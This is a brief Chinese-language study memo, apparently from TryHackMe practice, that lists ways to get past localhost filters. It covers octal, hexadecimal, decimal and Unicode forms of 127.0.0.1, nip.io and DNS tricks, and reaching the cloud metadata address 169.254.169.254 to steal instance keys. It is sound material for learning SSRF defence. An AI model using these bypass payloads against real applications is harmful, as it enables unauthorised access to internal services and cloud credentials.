最近学习THM,正好了解到了localhost的绕过方式,笔者将以下技巧作为备忘录记录:

绕过方式 描述 示例或注意事项
http://127.0.0.1 标准localhost的IPv4地址 通常用于访问本地服务
http://127.1 省略了末尾的0,仍然指向localhost curl http://127.1:8080
http://0177.0.0.1 使用八进制表示法,0177等于127 需要支持八进制的解析
http://0x7F.0.0.1 使用十六进制表示法,0x7F等于127 需要支持十六进制的解析
http://017700000001 127.0.0.1的八进制整数格式 curl http://017700000001:8080
http://2130706433 127.0.0.1的十进制整数格式 curl http://2130706433:8080
http://0x7F000001 127.0.0.1的十六进制整数格式 需要支持十六进制的解析
http://127.127.127.127 这个IP地址的原理尚不明确,但可能是程序的特定实现。 一般不常见
http://127。0。0。1 使用中文句号绕过 可能会被某些解析器支持
http://1②7.0.0.1 使用不同的数字符号(如圈选数字)绕过 需要特殊处理来解析
除了上述表格,还包括:
  • DNS欺骗:如果DNS服务器返回localhost的IP,可以通过篡改DNS来绕过限制。
  • IPv6 地址:使用::1作为localhost的IPv6表示形式。
  • 代理:通过代理服务访问localhost,能够隐藏实际请求源。
  • 子域名劫持本地 IP:比如注册一个子域名为 127.0.0.1.nip.io ,可以让子域名解析到本地IP地址(127.0.0.1),使得攻击者能够通过特定的子域名访问本地服务,达到绕过策。
  • 子域名劫持云环境元数据服务
    • IP地址 169.254.169.254 是云服务提供商(如AWS、GCP等)用来提供实例元数据的地址。该元数据可能包含敏感信息,如实例ID、密钥等。
    • 阻止对该IP的访问可以减少敏感数据被泄露的风险。
    • 攻击者可以通过注册自己的子域名,并将其DNS记录指向 169.254.169.254,来诱导系统或用户访问该服务,从而窃取关键信息。